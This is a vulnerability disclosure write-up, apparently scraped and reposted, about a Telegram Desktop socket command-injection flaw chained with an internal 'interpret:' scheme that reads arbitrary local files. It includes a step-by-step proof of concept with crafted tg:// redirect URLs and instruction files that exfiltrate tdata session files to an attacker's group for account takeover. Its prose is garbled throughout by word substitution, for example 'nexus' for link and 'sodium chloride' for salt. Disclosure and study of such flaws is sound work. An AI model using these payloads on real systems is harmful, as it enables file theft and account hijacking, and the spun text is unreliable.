Telegram Desktop vulnerability allowed any user's file to be stolen

Hacker News by 14 min read 89x views
Telegram Desktop vulnerability allowed any user's file to be stolen

Share Post

Introduction

Someone adds you to a Telegram group. A nexus shows up in the chat. You click it, and your Telegram document is no longer lone yours.

How?

Telegram Desktop hands clicked links to its own already-running case complete a local socket, as text, and never escapes the character it uses to distinct commands. So a crafted nexus does not attain as one instruction: it arrives as several.

The sequence I established has two defects. The archetypal is that injection. The second is what the injected command reaches: an inner URI scheme, interpret:, that says a document named in an education document and sends it to a chat, without checking who asked for it and without a confirmation. Together they rotate a clicked nexus into arbitrary document read. In this article I stroll through the sequence and afterward use it to pilfer the records that are the victim’s login.

AffectedTelegram Desktop through 7.2.8, confirmed on Windows (6.9.3)
ImpactRemote arbitrary local document read, exfiltrated to an attacker-controlled chat; document takeover
CVECVE-2026-107181
Fixed in7.2.9, commit db3405699f
Severity8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Operating systems let programs enroll a URI scheme, so they cognize which use to initiate whenever they encounter a nexus of that kind. Telegram Desktop registers tg. From afterward on the scheme knows a tg://... nexus belongs to Telegram, and launches it alongside the URL as a command-line argument.

If Telegram is not running, the procedure starts, takes the cord as a parameter, turns it into a URL entity and handles it internally: one process, and nothing to communicate.

But what if Telegram is already running? The functioning scheme neither knows nor checks: it launches a new procedure anyway, identical to the first. Telegram itself has to activity out that it is the redundant one, and the way it plant that out is by trying to nexus to a local socket.

The already-running case is the server: it has been listening on that socket since it started. The new procedure is the client. If it manages to connect, an case is already alive, so it hands complete the nexus and exits.

A socket does not transport objects, it carries bytes. The URL entity the new procedure holds in recollection cannot cross that channel, so it have to be flattened into a row of text.

That procedure has a name: serialization. Its inverse, rebuilding the entity from the text, is deserialization. Both are unavoidable whenever organized data has to cross a boundary, and the two are the exact item anywhere the boundaries inner the data halt being held by the construction and rotate into characters in the text.

Telegram does it alongside a format of its own, a uncomplicated one. Each education is a keyword, afterward its argument, afterward a semicolon that closes it. A nexus to open becomes:

tg://x?a=1 matches no handler inner Telegram, so on its own that nexus does nothing. It is lone a carrier.

That row is built here, one per URL to open:

1 2 3 4 
// sandbox.cpp:295-297 for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; } 

On the another flank the operating case deserializes: it says the received bytes, cuts them at all semicolon, and treats all part as an education in its own right. For all part starting alongside OPEN: it takes what follows and rebuilds it as a URL, exactly as if it had fair arrived on the command line.

1 2 3 4 5 6 
// sandbox.cpp:453-463 (abbreviated) for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); ... } else if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); 

The unescaped separator

So what happens if among the transmitted values contains a semicolon of its own, the extremely character the format uses as a separator? Take the nexus from before and add item to it:

The new procedure treats it as a sole URL, since to it that semicolon is fair a character inner the query. It flattens it and writes it to the socket:

1 
OPEN:tg://x?a=1;CMD:quit; 

The operating case cuts at all semicolon and gets two instructions alternatively of one:

1 2 
OPEN:tg://x?a=1 CMD:quit 

That is the injection, and it is the archetypal of the two defects.

The interpret: URI scheme

The example complete injected CMD:, but don’t be misled by the name: it accepts lone display and quit, so the worst it can do is near the app.

Four commands are accepted in total, and three of them are harmless. The fourth is OPEN:, and there is the detail: it accepts any URL, alongside no display on the scheme.

Digging through the code turns up another URI scheme inner Telegram, called interpret:.

The functioning scheme would not cognize what to do alongside a nexus starting alongside interpret:, since it is registered nowhere as a protocol handler: it exists lone inner Telegram’s own code, which picks the scheme up off the start-URL catalog akin any other.

1 2 3 4 
// application.cpp:1162-1164 if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; 

Through OPEN:, then, it is reachable:

1 
tg://x?a=1;OPEN:interpret:instructions.txt 

So what is interpret: for?

It was the tool Telegram used to publish its own releases. When a new type shipped, the build archive had to be posted to a conduit alongside the changelog as its caption. Rather than doing that by hand, a manuscript wrote a small content document naming the channel, the document to dispatch and the content to write, afterward launched Telegram alongside the way to that file.

1 2 3 
# Telegram/build/updates.py:206 subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt', shell=True) 

The education document looks akin this:

1 2 3 4 5 6 7 
from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a collision in the media viewer. - Added a new sticker pack. 

The value of from: is compared against the id of the currently logged-in account: it keeps an controller from publishing a publish from the incorrect one. The inspect lone runs if the row is present, so leaving it out skips it. The destination is set lone by channel:, and have to be a conduit or a supergroup.

A function called InterpretSendPath does the work.

So anywhere is the bug? interpret: performs a privileged action, study any document off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.

The function performs no authority check.

1 2 3 4 5 6 7 8 9 
// support_helper.cpp:673-680 QString InterpretSendPath( not_null<Window::SessionController*> window, const QString &path) { QFile f(path); if (!f.open(QIODevice::ReadOnly)) { return "App Error: Could not open construe file: " + path; } const auto content = QString::fromUtf8(f.readAll()); 

When that comes from the command line, which is how the publish manuscript invokes it, it is not a problem: an attacker would need a foothold on the device already, and alongside one they can peruse the records themselves. But formerly the identical act is reachable through the socket, and hence through the injection, a hazardous function becomes accessible from a nexus the casualty clicks.

That is a missing authorization, and it is the second of the two defects.

Getting the education document onto disk

An attacker who could location an education document on the victim’s disk, pointing file: at a way value stealing and channel: at a conduit of their own, could exfiltrate any document from that device alongside nothing additional than a clicked link.

So how does an attacker location a content document at a predictable way on person else’s disk? The apparent way is to dispatch it as a conversation attachment.

As it happens, Telegram Desktop in its default configuration downloads records received in groups up to 8 MiB automatically, during in broadcast channels automatic download is off. The document lands in a norm folder, under the identical name the sender chose, without the casualty clicking on it, and in a predictable location (a name collision would create Telegram preserve instructions1 (2).txt instead). Some formats, specified as stickers, GIFs and sound messages, go to an inner cache alternatively and would not be reachable as a way on disk.

Telegram builds that way itself (file_utilities.cpp:172-181). On Windows:

1 
C:\Users\<user>\Downloads\Telegram Desktop\<file name> 

By sending the document into the group, the attacker knows exactly anywhere it volition be saved. The way motionless seems to clasp one unknown, the Windows person name, but interpret: additionally accepts related paths, and a related way is resolved from Telegram’s own operating directory, which is its data directory (logs.cpp:381). On Windows that is %APPDATA%\Telegram Desktop, three levels below the user’s residence directory, and Downloads sits immediately in that residence directory. So a way akin this one:

1 
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt 

gives the attacker a deterministic way without always needing the person name.

From document peruse to document takeover

InterpretSendPath sends exactly one document per invocation: if an education document holds multiple file: lines, lone the final one counts. Two things lift that limit. Nothing stops an attacker from posting as many education records as they want, and the injection does not halt at the archetypal command: all semicolon opens another. Three targets, then, are three education records and three stacked commands in one link.

1 2 3 4 
tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt 

The primitive stays the identical throughout: arbitrary document read. What changes is what you read: an SSH personal key, a browser password store, a haze credentials file, or a configuration holding an API token.

Telegram does not keep local data in the clear, so everything the person holds on disk is encrypted, including the meeting authorization. That is the key the client uses to acknowledge itself to Telegram’s servers, and holding it is adequate to be that account, much akin a meeting biscuit on a website.

Telegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user’s data. The second, the KEK (Key Encryption Key), encrypts lone the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together alongside a sodium chloride stored next to the encrypted DEK.

In pseudocode, the sequence that opens the local data looks akin this:

1 2 3 4 5 6 
salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # bare if none is set  KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK) 

By default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is bare (storage_domain.cpp:102), so the KEK comes from the bare cord and a salt, and that sodium chloride is stored in the apparent in tdata/key_datas, the identical document that holds the encrypted DEK. Reading that one document is adequate to recompute the KEK and unwrap the DEK.

So alongside no passcode set, whoever gets key_datas gets the DEK, and alongside the DEK everything alternatively decrypts, meeting authority included.

Three records are involved, and lone two of them clasp secrets:

1 2 3 4 5 
tdata/ ├── key_datas the sodium chloride and the encrypted DEK ├── D877F783D5D3EF8Cs the MTProto authorization, encrypted alongside the DEK └── D877F783D5D3EF8C/ └── maps the indicator of the account's stored data 

That directory name is not random and not particular to an installation. It is derived from the cord data, the default data name (storage_file_utilities.cpp:241-250). It is identical on all install.

The third document is an index, and it holds no secrets. The meeting motionless volition not burden without it: Telegram says the authority lone during study that index. Stealing it, though, is a choice: an attacker could fair as fine build one. In this evidence of idea it is merely taken alongside alongside the another two, for convenience.

It follows that an attacker holding all three has the account: autumn them into a caller tdata, commencement Telegram, and the victim’s meeting opens.

The assault needs one click from the victim, and it has to arrive from exterior Telegram. A tg:// nexus clicked inner a Telegram conversation is handled in-process (click_handler_types.cpp:278) and never reaches the socket, so there is nothing to inject into. Normal https links, on the another hand, open in the scheme browser (ui_integration.cpp:437), since Telegram Desktop has no embedded one. So the attacker sends an average https nexus and has their own server redirect it to the crafted tg:// one.

1 2 3 4 5 
GET /rules HTTP/1.1 Host: corvus.sec HTTP/1.1 302 Found Location: tg://x?a=1;OPEN:interpret:instructions.txt 

Depending on the browser, and on whether the casualty has used the handler before, the scheme may ask for confirmation before launching Telegram.

Proof of concept

  1. The attacker creates a supergroup and adds the casualty to it. Telegram’s default privacy environment allows this alongside no confirmation from the invitee.

  2. The attacker posts three education content records in the group, one for all document to be stolen, all naming the attacker’s own collection as the destination. Omitting the from: row skips the document inspect entirely:

    1 2 3 
    channel: 2001234567 file: tdata/key_datas caption: poc 

    The document have to be plain content alongside LF row endings and no byte-order mark. The another two item at tdata/D877F783D5D3EF8Cs and tdata/D877F783D5D3EF8C/maps. Automatic download saves all three to the victim’s disk whenever the casualty opens the group, which they do anyway, since that is anywhere the nexus in stage 3 is waiting.

  3. The attacker sends an innocuous nexus into the chat:

    1 
    https://corvus.sec/rules 
  4. The casualty clicks it. The browser follows the redirect, which this period carries one command per target, wrapped current but sent as a sole line:

    1 2 3 4 
    tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt 
  5. The functioning scheme launches a second Telegram process, which forwards the URL to the operating one complete the socket. The unescaped semicolons divided it, and the injection fires.

  6. The three interpret: commands execute, and the three records are uploaded to the attacker’s group. No confirmation dialog is shown.

  7. The attacker rebuilds tdata from the three records and opens the victim’s account.

Mitigations

Upgrade to 7.2.9 or later. That is the lone item that really closes the problem. The remainder reduces exposure.

  • Turn on “ask anywhere to preserve all file”. With that setting, automatic download does not happen at all, and the education document never reaches the disk. It is the most productive mitigation abbreviated of upgrading.

  • Limit who can add you to groups to your contacts only. Stolen records can lone be sent to a conduit or a supergroup, so this takes distant the location the attacker would have them delivered to.

  • Set a local passcode, and choose it akin a genuine password. It does not forestall the records from being stolen; it lone makes the taken meeting unusable.

Fix

Fixed by commit db3405699f on 16 September 2026. The changelog dates 7.2.9 to the identical day; the publish was published the following morning. The commit removes the interpret:// scheme and Support::InterpretSendPath entirely, and escapes the document divider on the single-instance socket: values are liberated alongside a percent-prefixed hex encoding before being written and decoded following the split, so a semicolon in the data can no longer rotate into a boundary.

It additionally adds two measures beyond that: CMD: and CTRL: records are skipped whenever the identical association carries an OPEN:, and local document paths are dropped formerly a non-local URL has appeared on that connection.

Timeline

DateEvent
2026-06-25Reported through ZDI
2026-09-16Vendor fixes the matter independently, commit db3405699f
2026-09-17Telegram Desktop 7.2.9 published
2026-09-30ZDI closes the case as already fixed; disclosure entitlements come back to me
2026-10-03This writeup
2026-10-07CVE-2026-107181 assigned

The fix shipped quietly: the 7.2.9 changelog mentions lone a rendering fix, the commit that closes the sequence is titled “Remove bequest construe way helper”, and no advisory accompanied it.

BeakSec on YouTube

If you’re into this benevolent of thing, I publish cybersecurity material on BeakSec, my YouTube channel. It’s new, so subscribing helps.

Other Article Hacker News
↑
Close Right Ads
Close Left Ads